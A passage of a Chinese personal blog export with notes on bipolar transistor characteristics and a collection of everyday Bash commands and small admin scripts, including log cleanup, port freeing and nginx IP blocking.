class=\"headerlink\" title=\"三极管特性\"\u003e\u003c/a\u003e三极管特性\u003c/h2\u003e\u003cp\u003e三极管可以看作是两个二极管并起来构成的。如果是N和N并,那就是NPN型三极管;否则是PNP型三极管。下面的图中是\u003cstrong\u003eNPN型三极管\u003c/strong\u003e,如果是PNP型,则箭头从上册斜线指向左侧竖线(箭头指向N型的方向)。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230605172407.png\"/\u003e\u003c/p\u003e\u003cp\u003e三极管有三极,从上到下分别是C,B,E,分别是集电极,基极,发射极。对于NPN型三极管,电流流入C,B,从E流出;PNP型反之。\u003c/p\u003e\u003col\u003e\u003cli\u003e性质\u003c/li\u003e\u003c/ol\u003e\u003cul\u003e\u003cli\u003e电流关系(满足KCL关系):$I_C+I_B=I_E$\u003c/li\u003e\u003cli\u003e电流控制放大作用(\u003cstrong\u003e基极电流控制集电极电流\u003c/strong\u003e):$I_C=\\beta I_B$\u003c/li\u003e\u003cli\u003e比例分配关系:$i_B:i_C:i_E=1:\\beta:1+\\beta$\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e$\\beta$称为(共射)电流放大系数。直流情况下的放大关系近似等于交流状态的放大关系。\u003c/p\u003e\u003cp\u003e也就是说,三极管的输入是$I_B$和$U_{BE}$,输出是$I_C$和$U_{CE}$。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230606221157.png\"/\u003e\u003c/p\u003e\u003cp\u003e这是简化的基本电流方向关系(忽略$I_{CEO}$等电流)。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230605175112.png\"/\u003e\u003c/p\u003e\u003cp\u003e晶体管的伏安特性曲线有两个图,因为它有三个端口。需要记住的是伏安特性的对应关系:\u003c/p\u003e\u003col\u003e\u003cli\u003e输入伏安关系:输入电流和发射结电压$U_{BE}$的关系\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e输入伏安特性是发射结的电流-电压关系,而发射结也是PN结,所以曲线也是一个指数曲线。但是它跟管压降有关,然而一般可以只画一条曲线来表示。\u003c/p\u003e\u003col start=\"2\"\u003e\u003cli\u003e输出伏安特性:集电极电流和管压降$U_{CE}$的关系\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230606223354.png\"/\u003e\u003c/p\u003e\u003cp\u003e工作状态:\u003c/p\u003e\u003cul\u003e\u003cli\u003e发射结反偏($u_{BE}\u0026lt;U_{on}$):截止区\u003c/li\u003e\u003cli\u003e发射结正偏($u_{BE}\\geq U_{on})\u003cul\u003e\u003cli\u003e集电结反偏:放大区($u_{BC}\u0026lt;0$)\u003c/li\u003e\u003cli\u003e集电结正偏:饱和区($u_{BC}\u0026gt;0$)\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e放大区的电位特点:\u003c/p\u003e\u003cul\u003e\u003cli\u003eNPN管:$u_C\\geq u_B\u0026gt;u_E,u_{BE}=0.7V/0.2V$\u003c/li\u003e\u003cli\u003eNPN管:$u_C\\leq u_B\u0026lt;u_E,u_{EB}=0.7V/0.2V$\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e已知端电压,区分二极管种类时,两个相差0.2/0.7V的端口一定是b和e极。剩下的一个电位最高则是NPN,否则是PNP。然后再结合上面的等式分析b和e是分别是哪个:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230606224126.png\"/\u003e\u003c/p\u003e\u003cp\u003e判断能否正常工作,首先看管子类型,其次看电位关系是否正确。同时,看电流是否合理(有没有保护电阻)。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230606224337.png\"/\u003e\u003c/p\u003e\u003cp\u003e用上面的方法,和KCL、KVL,就能求解下面的工作状态:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230606225353.png\"/\u003e\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/06/05/%E7%89%A9%E7%90%86/%E6%A8%A1%E6%8B%9F%E7%94%B5%E8%B7%AF/%E6%A8%A1%E7%94%B5%EF%BC%9A%E7%AC%AC%E4%BA%8C%E7%AB%A0-%E4%B8%89%E6%9E%81%E7%AE%A1/"},{"title":"Bash学习笔记","time":"2023-06-03T13:43:09Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003eBash对于绝大多数任务来说够用。所以没必要太折腾,先试试Bash吧。\u003c/p\u003e\u003cp\u003e第一部分我会记录一些Linux自带(绝大多数情况)程序的用法,第二部分会把它们组合起来使用。\u003c/p\u003e\u003ch2 id=\"命令介绍\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/03/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Script/Bash%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E5%91%BD%E4%BB%A4%E4%BB%8B%E7%BB%8D\" class=\"headerlink\" title=\"命令介绍\"\u003e\u003c/a\u003e命令介绍\u003c/h2\u003e\u003cp\u003ehead命令用于显示文件的开头几行,sort命令用于对文件或标准输入进行排序,可以按照字母顺序、数字大小、日期等方式进行排序,uniq命令则用于去除重复的行,可以通过参数指定只保留重复行的数量或只显示重复行。\u003c/p\u003e\u003cp\u003ehead命令的语法:\u003ccode\u003ehead [选项] [文件]\u003c/code\u003e。例如,要查看文件file.txt的前10行,请使用以下命令:\u003ccode\u003ehead -n 10 file.txt\u003c/code\u003e。¹\\\u003c/p\u003e\u003cp\u003esort命令的语法:\u003ccode\u003esort [选项] [文件]\u003c/code\u003e。例如,要按字母顺序对文件file.txt进行排序,请使用以下命令:\u003ccode\u003esort file.txt\u003c/code\u003e。要按数字大小对文件进行排序,请使用以下命令:\u003ccode\u003esort -n file.txt\u003c/code\u003e。\u003c/p\u003e\u003cp\u003euniq命令的语法:\u003ccode\u003euniq [选项] [输入文件] [输出文件]\u003c/code\u003e。例如,要从文件file.txt中删除重复的行并将结果写入新文件newfile.txt,请使用以下命令:\u003ccode\u003euniq file.txt newfile.txt\u003c/code\u003e。要显示重复行及其出现次数,请使用以下命令:\u003ccode\u003euniq -c file.txt\u003c/code\u003e。\u003c/p\u003e\u003ch2 id=\"一些用法\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/03/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Script/Bash%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E4%B8%80%E4%BA%9B%E7%94%A8%E6%B3%95\" class=\"headerlink\" title=\"一些用法\"\u003e\u003c/a\u003e一些用法\u003c/h2\u003e\u003cp\u003e黑魔法开始了(不是\u003c/p\u003e\u003ch3 id=\"统计输出情况\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/03/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Script/Bash%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E7%BB%9F%E8%AE%A1%E8%BE%93%E5%87%BA%E6%83%85%E5%86%B5\" class=\"headerlink\" title=\"统计输出情况\"\u003e\u003c/a\u003e统计输出情况\u003c/h3\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e./a.out | \u003cspan class=\"built_in\"\u003ehead\u003c/span\u003e -n 100000 | \u003cspan class=\"built_in\"\u003esort\u003c/span\u003e | \u003cspan class=\"built_in\"\u003euniq\u003c/span\u003e -c\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这样就能得到统计好的输出数据。\u003c/p\u003e\u003ch3 id=\"随机输出一行\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/03/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Script/Bash%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E9%9A%8F%E6%9C%BA%E8%BE%93%E5%87%BA%E4%B8%80%E8%A1%8C\" class=\"headerlink\" title=\"随机输出一行\"\u003e\u003c/a\u003e随机输出一行\u003c/h3\u003e\u003cp\u003e看到同学发的抽奖现场用Python现写程序,节目效果拉满()不过,都用Linux了,还不用Bash?\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003efname=\u003cspan class=\"string\"\u003e\u0026#34;lab6.c\u0026#34;\u003c/span\u003e; rand=$((RANDOM%$(cat \u0026#34;\u003cspan class=\"variable\"\u003e$fname\u003c/span\u003e\u0026#34; | wc -l))); sed -n \u003cspan class=\"string\"\u003e\u0026#34;\u003cspan class=\"variable\"\u003e$rand\u003c/span\u003e\u0026#34;\u003c/span\u003ep \u003cspan class=\"string\"\u003e\u0026#34;\u003cspan class=\"variable\"\u003e$fname\u003c/span\u003e\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面的命令其实是3行命令,但是每行都比较短就合成一行了。第一个和第二个都是赋值命令,设置文件名,并根据文件行数生成随机数。第三行用\u003ccode\u003esed\u003c/code\u003e从文件中读取指定的行。\u003c/p\u003e\u003cp\u003e对于第三行指令,其实不用\u003ccode\u003esed\u003c/code\u003e也行,用\u003ccode\u003ehead -n \u0026#34;$rand\u0026#34; | tail -n 1\u0026#34;\u003c/code\u003e也是能得到相同的结果。完整指令:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003efname=\u003cspan class=\"string\"\u003e\u0026#34;lab6.c\u0026#34;\u003c/span\u003e; rand=$((RANDOM%$(cat \u0026#34;\u003cspan class=\"variable\"\u003e$fname\u003c/span\u003e\u0026#34; | wc -l))); \u003cspan class=\"built_in\"\u003ecat\u003c/span\u003e \u003cspan class=\"variable\"\u003e$fname\u003c/span\u003e | \u003cspan class=\"built_in\"\u003ehead\u003c/span\u003e -n \u003cspan class=\"string\"\u003e\u0026#34;\u003cspan class=\"variable\"\u003e$rand\u003c/span\u003e\u0026#34;\u003c/span\u003e | \u003cspan class=\"built_in\"\u003etail\u003c/span\u003e -n 1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e总之能看出,对于操作数据,Linux自带的工具也很强大了。\u003c/p\u003e\u003ch3 id=\"保留最近三天的文件\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/03/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Script/Bash%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E4%BF%9D%E7%95%99%E6%9C%80%E8%BF%91%E4%B8%89%E5%A4%A9%E7%9A%84%E6%96%87%E4%BB%B6\" class=\"headerlink\" title=\"保留最近三天的文件\"\u003e\u003c/a\u003e保留最近三天的文件\u003c/h3\u003e\u003cp\u003e这东西用来清log和冗余备份确实好用。\u003c/p\u003e\u003cp\u003e清文件夹记得把-f换成-rf。\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003efind [target file \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e path] -mtime +2 |xargs \u003cspan class=\"built_in\"\u003erm\u003c/span\u003e -f\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"Ubuntu内存释放\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/03/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Script/Bash%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#Ubuntu%E5%86%85%E5%AD%98%E9%87%8A%E6%94%BE\" class=\"headerlink\" title=\"Ubuntu内存释放\"\u003e\u003c/a\u003eUbuntu内存释放\u003c/h3\u003e\u003cblockquote\u003e\u003cp\u003e2020.12.18 11:05:00\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e下面的指令用来释放系统内存,只在Ubuntu上测试过。长期运行的服务器最好严密监督内存使用情况:\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eecho 3 \u0026gt;/proc/sys/vm/drop_caches\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e啊对了注意指令里是vm不是mv。\u003c/p\u003e\u003ch3 id=\"ln-强大的软链接工具\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/03/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Script/Bash%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#ln-%E5%BC%BA%E5%A4%A7%E7%9A%84%E8%BD%AF%E9%93%BE%E6%8E%A5%E5%B7%A5%E5%85%B7\" class=\"headerlink\" title=\"ln-强大的软链接工具\"\u003e\u003c/a\u003eln-强大的软链接工具\u003c/h3\u003e\u003cp\u003e常用用法:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eln\u003c/span\u003e –s 源文件 软连接文件\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这可以帮我们把一个文件链接到另一个地方,类似Windows的快捷方式。\u003c/p\u003e\u003cp\u003e我一般会用它把正在开发的项目链接到nginx的目录下,来实时预览效果。\u003c/p\u003e\u003ch3 id=\"端口占用解除\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/03/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Script/Bash%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E7%AB%AF%E5%8F%A3%E5%8D%A0%E7%94%A8%E8%A7%A3%E9%99%A4\" class=\"headerlink\" title=\"端口占用解除\"\u003e\u003c/a\u003e端口占用解除\u003c/h3\u003e\u003cp\u003e有时候一些网络应用会启动失败,提示端口被占用。那么一般怎么解决呢?\u003c/p\u003e\u003ch4 id=\"系统环境\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/03/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Script/Bash%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E7%B3%BB%E7%BB%9F%E7%8E%AF%E5%A2%83\" class=\"headerlink\" title=\"系统环境\"\u003e\u003c/a\u003e系统环境\u003c/h4\u003e\u003cp\u003e我的系统是Ubuntu20.04,其他Linux应该也大同小异。\u003c/p\u003e\u003ch4 id=\"解决步骤\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/03/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Script/Bash%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E8%A7%A3%E5%86%B3%E6%AD%A5%E9%AA%A4\" class=\"headerlink\" title=\"解决步骤\"\u003e\u003c/a\u003e解决步骤\u003c/h4\u003e\u003cp\u003e就两步。先找到进程: \u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003enetstat -anlp| grep 端口号\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e然后结束进程: \u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003ekill -9 进程pid\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e完事儿。\u003c/p\u003e\u003ch3 id=\"nc\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/03/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Script/Bash%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#nc\" class=\"headerlink\" title=\"nc\"\u003e\u003c/a\u003enc\u003c/h3\u003e\u003cp\u003e用\u003ccode\u003enc\u003c/code\u003e可以进行局域网聊天(不是\u003c/p\u003e\u003cp\u003e用 \u003ccode\u003esocat\u003c/code\u003e 还可以群聊: 局域网内所有 Linux 机器,输入下方命令加入群聊(指 UDP 广播)(狗头)(狗头) \u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003esocat - UDP-DATAGRAM:255.255.255.255:12345,broadcast,\u003cspan class=\"built_in\"\u003ebind\u003c/span\u003e=0.0.0.0:12345\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"根据nginx日志自动ban异常IP\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/03/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Script/Bash%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E6%A0%B9%E6%8D%AEnginx%E6%97%A5%E5%BF%97%E8%87%AA%E5%8A%A8ban%E5%BC%82%E5%B8%B8IP\" class=\"headerlink\" title=\"根据nginx日志自动ban异常IP\"\u003e\u003c/a\u003e根据nginx日志自动ban异常IP\u003c/h3\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#!/bin/bash \u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eline=1000 \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003etimes\u003c/span\u003e=10 \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003econf=/opt/nginx/conf/blockip.conf \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003etail\u003c/span\u003e /data/logs/nginx/access.log -n \u003cspan class=\"variable\"\u003e$line\u003c/span\u003e | \\ \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003egrep -E \u003cspan class=\"string\"\u003e\u0026#39;(\u0026#34;status\u0026#34;:\u0026#34;404\u0026#34;|\u0026#34;status\u0026#34;:\u0026#34;302\u0026#34;)\u0026#39;\u003c/span\u003e | awk \u003cspan class=\"string\"\u003e\u0026#39;{print $1}\u0026#39;\u003c/span\u003e | \\ \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003esort\u003c/span\u003e | \u003cspan class=\"built_in\"\u003euniq\u003c/span\u003e -c | \\ \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eawk \u003cspan class=\"string\"\u003e\u0026#39;$1\u0026gt;$times{print \u0026#34;deny \u0026#34;$2 \u0026#34;;\u0026#34;}\u0026#39;\u003c/span\u003e \u0026gt;\u0026gt; \u003cspan class=\"variable\"\u003e$conf\u003c/span\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003edeny=$(\u003cspan class=\"built_in\"\u003esort\u003c/span\u003e \u003cspan class=\"variable\"\u003e$conf\u003c/span\u003e | \u003cspan class=\"built_in\"\u003euniq\u003c/span\u003e -c | awk \u003cspan class=\"string\"\u003e\u0026#39;{print \u0026#34;deny \u0026#34;$3}\u0026#39;\u003c/span\u003e) \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eecho\u003c/span\u003e \u003cspan class=\"variable\"\u003e$deny\u003c/span\u003e | sed \u003cspan class=\"string\"\u003e\u0026#34;s/; /;\\n/g\u0026#34;\u003c/span\u003e \u0026gt; \u003cspan class=\"variable\"\u003e$conf\u003c/span\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e/usr/local/sbin/nginx -t || \u003cspan class=\"built_in\"\u003eexit\u003c/span\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e/usr/bin/systemctl reload nginx\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"一些小工具\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/03/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Script/Bash%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E4%B8%80%E4%BA%9B%E5%B0%8F%E5%B7%A5%E5%85%B7\" class=\"headerlink\" title=\"一些小工具\"\u003e\u003c/a\u003e一些小工具\u003c/h3\u003e\u003cp\u003elazygit ,Git 的终端界面\u003cbr/\u003eranger ,终端文件管理器\u003cbr/\u003elolcat ,对输出做渐变色处理\u003cbr/\u003etrash ,mv 的垃圾回收站版本\u003cbr/\u003eicdiff ,diff 的样式改进版本\u003cbr/\u003elsd ,带文件类型图标的 ls\u003c/p\u003e\u003ch3 id=\"跟踪某网页特定内容\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/03/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Script/Bash%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E8%B7%9F%E8%B8%AA%E6%9F%90%E7%BD%91%E9%A1%B5%E7%89%B9%E5%AE%9A%E5%86%85%E5%AE%B9\" class=\"headerlink\" title=\"跟踪某网页特定内容\"\u003e\u003c/a\u003e跟踪某网页特定内容\u003c/h3\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#!/bin/bash\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eurl=\u003cspan class=\"string\"\u003e\u0026#34;http://v2ex.com\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ewant=\u003cspan class=\"string\"\u003e\u0026#34;好玩\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ewget \u003cspan class=\"string\"\u003e\u0026#34;\u003cspan class=\"variable\"\u003e$url\u003c/span\u003e\u0026#34;\u003c/span\u003e -O contents\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan 